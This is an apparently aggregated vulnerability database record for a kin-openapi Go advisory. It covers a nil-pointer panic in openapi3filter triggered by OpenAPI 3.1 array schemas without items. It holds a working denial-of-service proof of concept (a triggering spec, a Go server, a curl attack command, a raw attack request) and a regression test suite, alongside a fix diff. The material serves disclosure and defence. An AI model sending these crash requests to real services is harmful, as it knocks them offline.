{"id":"CVE-2026-97394","kind":"vulnerability","aliases":["CVE-2026-97394","GHSA-p6wj-qrr4-pgh5","GO-2026-6790"],"related":[],"title":"kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items","description":"### Summary\n\nA nil-pointer dereference in `openapi3filter` lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI **3.1** operation that declares `type: array` **without** `items`. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting `items`, and `doc.Validate()` accepts such schemas with `Schema.Items == nil`. Request/response decoders then dereference `Items` with no nil check. The panic is **deterministic (100%)** on every request to the affected operation. There is no `recover()` in `openapi3filter`; under handlers without per-request recover the process can exit.\n\n### Details\n\n**Spec-validation asymmetry.** OpenAPI 3.0 rejects array schemas that omit `items` ([`openapi3/schema.go`](https://github.com/getkin/kin-openapi/blob/master/openapi3/schema.go) around the `TypeArray` / `newSchemaItemsRequired` branch). For OpenAPI 3.1, `T.Validate` enables `jsonSchema2020ValidationEnabled`, so that check is skipped and `Schema.Items` remains nil after a clean `doc.Validate()`.\n\n**Vulnerable decoder.** The primary request-side crash is in [`UrlencodedBodyDecoder`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go) (still present on this checkout at L1421):\n\n```go\ncase propType.Is(\"array\"):\n    items := propSchema.Value.Items.Value  // Items == nil → panic\n```\n\nThis runs during schema inspection **before** form values are parsed. Any non-empty `application/x-www-form-urlencoded` body for the operation reaches the dereference (an empty body is rejected earlier when `requestBody.required` is true, and never enters the decoder).\n\nThe same nil `Items` also crashes:\n\n| Path | Location | Trigger |\n|---|---|---|\n| `MultipartBodyDecoder` | `req_resp_decoder.go` ~1564 → 1579 | `multipart/form-data` part named like the array property |\n| `parseArray` → `parsePrimitive` | `req_resp_decoder.go` ~1129 / 1151 | Array-typed **response headers** via `ValidateResponse`, and path/cookie array params |\n\n`Middleware` / `ValidationHandler` call `ValidateRequest` / `ValidateResponse` directly with no recover, so the panic escapes the library into the application.\n\n**Recommended fix.** Guard nil `Items` and return a structured decode/validation error, e.g.:\n\n```diff\n case propType.Is(\"array\"):\n+\tif propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {\n+\t\treturn nil, fmt.Errorf(\"unsupported schema of request body's property %q: array items required for decoding\", propName)\n+\t}\n \titems := propSchema.Value.Items.Value\n```\n\nApply equivalent guards in `MultipartBodyDecoder` and `parseArray` before calling `parsePrimitive`.\n\n### PoC\n\nVerified against revision `c11a4812ba7be3ee3d81453be0c397ee84c238d5`, Go 1.25, `darwin/arm64`.\n\n**1. Spec** — OpenAPI 3.1 operation with urlencoded body and `type: array` property without `items`:\n\n```yaml\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n```\n\n**2. E2E program** — `net/http` server using the same public entrypoint (`gorillamux` → `openapi3filter.ValidateRequest`) real middleware uses. Save as `main.go` in a module that depends on `github.com/getkin/kin-openapi` at a vulnerable revision, then `go run .`:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tlog.Fatalf(\"doc.Validate rejected (unexpected for 3.1): %v\", err)\n\t}\n\tfmt.Println(\"SPEC_ACCEPTED; Items ==\", doc.Paths.Value(\"/f\").Post.RequestBody.Value.\n\t\tContent.Get(\"application/x-www-form-urlencoded\").Schema.Value.Properties[\"tags\"].Value.Items)\n\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Direct call (no net/http recover): proves the library itself panics.\n\treq, _ := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=a\"))\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\troute, pp, _ := router.FindRoute(req)\n\tfunc() {\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\tfmt.Printf(\"DIRECT_PANIC: %v\\n\", r)\n\t\t\t}\n\t\t}()\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pp, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tfmt.Println(\"DIRECT_PANIC: none (unexpected)\")\n\t}()\n\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/f\", func(w http.ResponseWriter, r *http.Request) {\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\terr = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{\n\t\t\tRequest: r, PathParams: pathParams, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = w.Write([]byte(\"ok\\n\"))\n\t})\n\n\taddr := \"127.0.0.1:8085\"\n\tfmt.Printf(\"listening on http://%s/f\\n\", addr)\n\tfmt.Println(\"attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://\" + addr + \"/f\")\n\tlog.Fatal(http.ListenAndServe(addr, mux))\n}\n```\n\n**3. Observed output** (`go run .`):\n\n```\nSPEC_ACCEPTED; Items == <nil>\nDIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference\nlistening on http://127.0.0.1:8085/f\n```\n\nThen:\n\n```\ncurl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f\n```\n\nServer log:\n\n```\nhttp: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference\n… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421\n… openapi3filter.ValidateRequest …\n```\n\nStack pins the fault to `UrlencodedBodyDecoder` at `req_resp_decoder.go:1421`, called from `ValidateRequest` → `ValidateRequestBody` → `decodeBody`.\n\n**Attack request:**\n\n```\nPOST /f HTTP/1.1\nHost: victim\nContent-Type: application/x-www-form-urlencoded\n\ntags=a\n```\n\n(Any non-empty body is enough; form content is irrelevant because `Items` is dereferenced during schema inspection before parsing.)\n\n**4. Regression / multi-surface test suite** — save as e.g. `openapi3filter/array_items_nil_panic_test.go` in a checkout of the module and run `go test -run TestArrayItemsNilPanic ./openapi3filter/ -v`:\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst urlencodedSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n`\n\nconst urlencodedSpec30 = `\nopenapi: 3.0.3\ninfo: {title: t, version: 1.0.0}\npaths:\n  /f:\n    post:\n      requestBody:\n        required: true\n        content:\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n`\n\nconst multipartSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /upload:\n    post:\n      requestBody:\n        required: true\n        content:\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                tags: {type: array}\n      responses:\n        '200': {description: ok}\n`\n\nconst responseHeaderSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n  /hdr:\n    get:\n      responses:\n        '200':\n          description: ok\n          headers:\n            X-Tags:\n              schema: {type: array}\n`\n\nfunc catchPanic(fn func()) (panicValue any) {\n\tdefer func() { panicValue = recover() }()\n\tfn()\n\treturn nil\n}\n\nfunc TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\tschema := doc.Paths.Value(\"/f\").Post.RequestBody.Value.Content.\n\t\tGet(\"application/x-www-form-urlencoded\").Schema.Value.Properties[\"tags\"].Value\n\trequire.True(t, schema.Type.Is(\"array\"))\n\trequire.Nil(t, schema.Items)\n}\n\nfunc TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec30))\n\trequire.NoError(t, err)\n\trequire.Error(t, doc.Validate(loader.Context))\n}\n\nfunc TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\treq, err := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=a\"))\n\trequire.NoError(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(multipartSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(&buf)\n\trequire.NoError(t, w.WriteField(\"tags\", \"a\"))\n\trequire.NoError(t, w.Close())\n\n\treq, err := http.NewRequest(http.MethodPost, \"/upload\", &buf)\n\trequire.NoError(t, err)\n\treq.Header.Set(\"Content-Type\", w.FormDataContentType())\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(responseHeaderSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\treq, err := http.NewRequest(http.MethodGet, \"/hdr\", nil)\n\trequire.NoError(t, err)\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{\n\t\t\tRequestValidationInput: &openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t},\n\t\t\tStatus: http.StatusOK,\n\t\t\tHeader: http.Header{\"X-Tags\": []string{\"a,b\"}},\n\t\t\tBody:   io.NopCloser(strings.NewReader(\"\")),\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvar panicCount int\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/f\", func(w http.ResponseWriter, r *http.Request) {\n\t\tdefer func() {\n\t\t\tif recover() != nil {\n\t\t\t\tpanicCount++\n\t\t\t\thttp.Error(w, \"panic in ValidateRequest\", http.StatusInternalServerError)\n\t\t\t}\n\t\t}()\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\trequire.NoError(t, err)\n\t\terr = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{\n\t\t\tRequest: r, PathParams: pathParams, Route: route,\n\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\n\tsrv := httptest.NewServer(mux)\n\tt.Cleanup(srv.Close)\n\n\tconst n = 5\n\tfor i := 0; i < n; i++ {\n\t\tresp, err := http.Post(srv.URL+\"/f\", \"application/x-www-form-urlencoded\", strings.NewReader(\"tags=a\"))\n\t\trequire.NoError(t, err)\n\t\t_, _ = io.ReadAll(resp.Body)\n\t\t_ = resp.Body.Close()\n\t\trequire.Equal(t, http.StatusInternalServerError, resp.StatusCode)\n\t}\n\trequire.Equal(t, n, panicCount)\n}\n\nfunc TestArrayItemsNilPanic_Deterministic(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tconst attempts = 50\n\tpanics := 0\n\tfor i := 0; i < attempts; i++ {\n\t\treq, err := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=x\"))\n\t\trequire.NoError(t, err)\n\t\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\tif catchPanic(func() {\n\t\t\t_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t}) != nil {\n\t\t\tpanics++\n\t\t}\n\t}\n\trequire.Equal(t, attempts, panics)\n}\n```\n\n**Observed results on the vulnerable tree:**\n\n- 3.1 accepts the schema (`Items == nil`); 3.0 rejects it\n- urlencoded, multipart, and response-header paths all panic with `nil pointer dereference`\n- **50/50** panic rate (100% deterministic)\n- E2E httptest server: **5/5** POSTs panic inside `ValidateRequest` → HTTP 500\n\n### Impact\n\n- **Type:** NULL Pointer Dereference → **unauthenticated remote denial of service**.\n- **Who is impacted:** applications using `github.com/getkin/kin-openapi/openapi3filter` to validate requests/responses against OpenAPI **3.1** documents that contain an `items`-less `type: array` in a urlencoded or multipart body property, or an array-typed response header (or other `parseArray` surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded — `doc.Validate()` does **not** reject them under 3.1.\n- **Attack:** a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.\n- **Consequence:** deterministic panic on every request to the operation. With stock `net/http`, the server logs `http: panic serving` and aborts the connection; without per-request recover (common outside pure `net/http` handlers), the process can crash.\n- **Not affected:** OpenAPI 3.0 documents (spec validation rejects missing `items`); JSON request bodies (different decoder path that does not hit this `Items.Value` inspection).","summary":"kin-openapi is a Go library for OpenAPI specifications, and its openapi3filter package dereferences a nil pointer when an OpenAPI 3.1 array schema has no items. An attacker who can get such a schema processed causes a panic, which crashes the process.","severity":"high","cvss":7.5,"epss":0.00615,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/getkin/kin-openapi","fixed":["0.143.0"],"affected":">= 0.136.0, < 0.143.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-248","cwe-476","go","kin-openapi","openapi3filter","package"],"not_affected_if":["openapi3filter-unused","version-0.143.0-or-later","version-below-0.136.0"],"how_to_check":"- Look for `github.com/getkin/kin-openapi` in `go.mod` and check the version listed.\n- Check whether the service uses the `openapi3filter` package to validate requests.\n- Run `go list -m github.com/getkin/kin-openapi` to see the resolved version.","fix":"- `github.com/getkin/kin-openapi` `0.143.0`","status":"open","published_at":"2026-10-15T16:18:25+00:00","first_seen_at":"2026-11-06T00:09:05+00:00","triaged_at":"2026-11-06T00:10:43+00:00","updated_at":"2026-11-06T00:19:08+00:00","category":"package","confidence":0.6,"triage":{"at":"2026-11-06T00:10:43Z","model":"claude-haiku-5-5","output":{"fix":"- `github.com/getkin/kin-openapi` `0.143.0`","reach":"unknown","title":"kin-openapi: crafted OpenAPI 3.1 schema crashes Go request validation with panic","impact":"low","summary":"kin-openapi is a Go library for OpenAPI specifications, and its openapi3filter package dereferences a nil pointer when an OpenAPI 3.1 array schema has no items. An attacker who can get such a schema processed causes a panic, which crashes the process.","audience":"developers","category":"package","nicknames":[],"who_cares":["go","kin-openapi","openapi3filter"],"confidence":0.6,"fix_status":"available","needs_auth":"unknown","worst_case":"process crashes via panic when handling a crafted schema","analyst_note":"","how_to_check":"- Look for `github.com/getkin/kin-openapi` in `go.mod` and check the version listed.\n- Check whether the service uses the `openapi3filter` package to validate requests.\n- Run `go list -m github.com/getkin/kin-openapi` to see the resolved version.","plain_action":"","needs_analyst":false,"not_affected_if":["version-below-0.136.0","version-0.143.0-or-later","openapi3filter-unused"],"who_is_affected":"Go services that import kin-openapi between 0.136.0 and 0.142.x and use openapi3filter with OpenAPI 3.1 specs containing array schemas without items are exposed. Services that do not use openapi3filter, or that only load trusted specs, are unlikely to be reached. The sources do not say whether untrusted input can supply the schema.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"unknown"},"cost_usd":0.000727,"input_tokens":4267,"output_tokens":600,"severity_before":"unknown"},"analyst_status":null,"analyst_note":null,"search":"'-12':125C '-2026':19A,27A,30A '-248':36B '-476':38B '-6790':28A '-97394':20A,31A '/f':418C,497C '/getkin/kin-openapi':34A,462C '/getkin/kin-openapi/blob/master/openapi3/schema.go)':191C '/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go)':229C '/getkin/kin-openapi/openapi3':480C '/getkin/kin-openapi/openapi3filter':483C '/getkin/kin-openapi/routers/gorillamux':486C '1':395C '1.0.0':416C,495C '1.25':393C '100':150C '1129':306C '1151':307C '1564':294C '1579':295C '2':436C '200':433C,512C '2020':124C '3.0':181C '3.1':13A,66B,112C,121C,199C,398C '3.1.0':411C,490C 'accept':131C 'affect':156C 'also':287C 'appli':377C 'applic':336C 'application/x-www-form-urlencoded':260C,424C,503C 'around':192C 'array':14A,67B,117C,183C,240C,301C,309C,317C,352C,369C,405C,431C,510C 'array-typ':308C 'asymmetri':179C 'attack':73B 'bodi':261C,270C,365C,402C 'branch':196C 'c11a4812ba7be3ee3d81453be0c397ee84c238d5':391C 'call':321C,385C 'case':238C,350C 'caus':81B 'check':145C,205C 'checkout':234C 'clean':214C 'client':99C 'const':487C 'content':423C,502C 'crash':85B,100C,223C,288C 'cve':18A,29A 'cwe':35B,37B 'darwin/arm64':394C 'declar':115C 'decod':138C,217C,282C,373C 'decode/validation':346C 'depend':458C 'derefer':7A,59B,93C,140C,267C 'descr':513C 'descript':434C 'detail':175C 'determinist':149C 'diff':349C 'direct':324C 'doc.validate':130C,215C 'e.g':348C 'e2e':437C 'earlier':273C 'empti':259C,269C 'enabl':201C 'enter':280C 'entrypoint':445C 'equival':378C 'error':347C 'escap':331C 'everi':152C 'exit':174C 'fix':338C 'fmt':474C 'fmt.errorf':360C 'form':252C 'get':76B 'ghsa':22A 'ghsa-p6wj-qrr4-pgh5':21A 'github.com':33A,190C,228C,461C,479C,482C,485C 'github.com/getkin/kin-openapi':32A,460C 'github.com/getkin/kin-openapi/blob/master/openapi3/schema.go)':189C 'github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go)':227C 'github.com/getkin/kin-openapi/openapi3':478C 'github.com/getkin/kin-openapi/openapi3filter':481C 'github.com/getkin/kin-openapi/routers/gorillamux':484C 'go':26A,39B,50B,237C,392C,468C,470C 'gorillamux':446C 'guard':339C,379C 'handler':103C,165C 'header':312C 'http':107C 'import':473C 'info':412C,491C 'inspect':250C 'item':17A,71B,119C,128C,141C,187C,241C,243C,286C,341C,370C,375C,408C 'json':122C 'jsonschema2020validationenabled':202C 'kin':2A,41B,46B 'kin-openapi':1A,40B,45B 'l1421':236C 'let':96C 'librari':51B,333C 'like':299C 'locat':290C 'log':475C 'main':472C 'main.go':453C 'middlewar':319C,449C 'miss':16A 'modul':456C 'multipart/form-data':296C 'multipartbodydecod':292C,381C 'name':298C 'net/http':439C,476C 'never':279C 'newschemaitemsrequir':195C 'nil':5A,61B,91C,136C,144C,211C,244C,285C,340C,355C,357C,359C 'nil-point':4A,90C 'non':258C 'non-empti':257C 'object':427C,506C 'ok':435C 'omit':127C,186C 'openapi':3A,12A,42B,47B,53B,65B,111C,120C,180C,198C,397C,410C,489C 'openapi3/schema.go':188C 'openapi3filter':10A,43B,57B,95C,163C 'openapi3filter.validaterequest':447C 'oper':113C,157C,264C,399C 'p6wj':23A 'packag':44B,58B,471C 'panic':8A,83B,147C,245C,330C 'param':318C 'pars':255C 'parsearray':303C,383C 'parseprimit':304C,386C 'part':297C 'path':289C,417C,496C 'path/cookie':316C 'per':168C 'per-request':167C 'permit':126C 'pgh5':25A 'poc':387C 'pointer':6A,62B,92C 'post':419C,498C 'present':231C 'primari':219C 'process':80B,87B,172C 'program':438C 'properti':302C,367C,406C,428C,507C 'propnam':374C 'propschema.value.items':354C 'propschema.value.items.value':242C,356C,376C 'proptype.is':239C,351C 'public':444C 'q':368C 'qrr4':24A 'reach':265C 'real':448C 'recommend':337C 'recov':161C,170C,327C 'reject':182C,272C 'remain':210C 'req_resp_decoder.go':293C,305C 'request':102C,108C,153C,169C,221C,364C 'request-sid':220C 'request/response':137C 'requestbodi':420C,499C 'requestbody.required':275C 'requir':371C,421C,500C 'respons':311C,432C,511C 'return':343C,358C 'revis':390C,466C 'run':247C,469C 'save':451C 'schema':15A,68B,79B,123C,133C,184C,249C,362C,425C,504C 'schema.items':135C,209C 'server':440C 'side':222C 'singl':106C 'skip':207C 'spec':177C,396C,488C 'spec-valid':176C 'specif':54B 'still':230C 'string':477C 'structur':345C 'summari':88C 't.validate':200C 'tag':429C,508C 'titl':413C,492C 'trigger':291C 'true':277C,422C,501C 'type':116C,310C,404C,426C,430C,505C,509C 'typearray':194C 'unauthent':98C 'unsupport':361C 'urlencod':401C 'urlencodedbodydecod':226C 'use':441C,450C 'valid':178C 'validaterequest':322C 'validaterespons':314C,323C 'validationhandl':320C 'valu':253C 'verifi':388C 'version':415C,494C 'via':313C 'vulner':216C,465C 'without':118C,166C,407C 'yaml':409C","nicknames":[],"mitigations":[],"who_affected":"Go services that import kin-openapi between 0.136.0 and 0.142.x and use openapi3filter with OpenAPI 3.1 specs containing array schemas without items are exposed. Services that do not use openapi3filter, or that only load trusted specs, are unlikely to be reached. The sources do not say whether untrusted input can supply the schema.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["githubcomgetkinkinopenapi"],"ptokens":["com","getkin","github","kin","openapi"],"labels":["cwe248","cwe476","go","high","kinopenapi","openapi3filter","package"],"campaign_type":null,"first_public_at":"2026-07-01T13:34:46+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"govuln","external_id":"GO-2026-6790","url":"https://pkg.go.dev/vuln/GO-2026-6790","severity":null,"published_at":"2026-11-05T22:53:53+00:00","modified_at":"2026-11-05T22:53:53+00:00","first_seen_at":"2026-11-06T00:09:05+00:00","fetched_at":"2026-11-06T00:09:05+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-97394","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97394","severity":null,"published_at":"2026-10-15T16:18:25+00:00","modified_at":"2026-10-20T03:17:17+00:00","first_seen_at":"2026-11-06T00:19:01+00:00","fetched_at":"2026-11-06T00:19:01+00:00","note":null},{"source":"ghsa","external_id":"GHSA-p6wj-qrr4-pgh5","url":"https://github.com/advisories/GHSA-p6wj-qrr4-pgh5","severity":"high","published_at":"2026-10-15T20:14:54+00:00","modified_at":"2026-10-15T20:14:55+00:00","first_seen_at":"2026-11-06T00:19:08+00:00","fetched_at":"2026-11-06T00:19:08+00:00","note":null}],"documents":[{"id":81799,"url":"https://github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d","title":"Patch: github.com","kind":"other","source":"nvd","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":81800,"url":"https://github.com/getkin/kin-openapi/releases/tag/v0.143.0","title":"Release notes: github.com","kind":"release","source":"nvd","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release notes: github.com"},{"id":81801,"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5","title":"Vendor advisory: github.com","kind":"vendor","source":"nvd","publisher":"vendor","text":null,"published_at":"2026-07-21T12:49:08+00:00","relation":"advisory","confidence":null,"note":"Vendor advisory: github.com"},{"id":81802,"url":"https://github.com/opnsense/core/security/advisories/GHSA-26cj-h9rj-g5pf","title":"Vendor advisory: github.com","kind":"vendor","source":"nvd","publisher":"vendor","text":null,"published_at":"2026-07-01T13:34:46+00:00","relation":"advisory","confidence":null,"note":"Vendor advisory: github.com"},{"id":81954,"url":"https://api.github.com/repos/getkin/kin-openapi/security-advisories/GHSA-p6wj-qrr4-pgh5","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"}],"exploit_sources":[{"type":"epss","score":0.00615,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97394"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}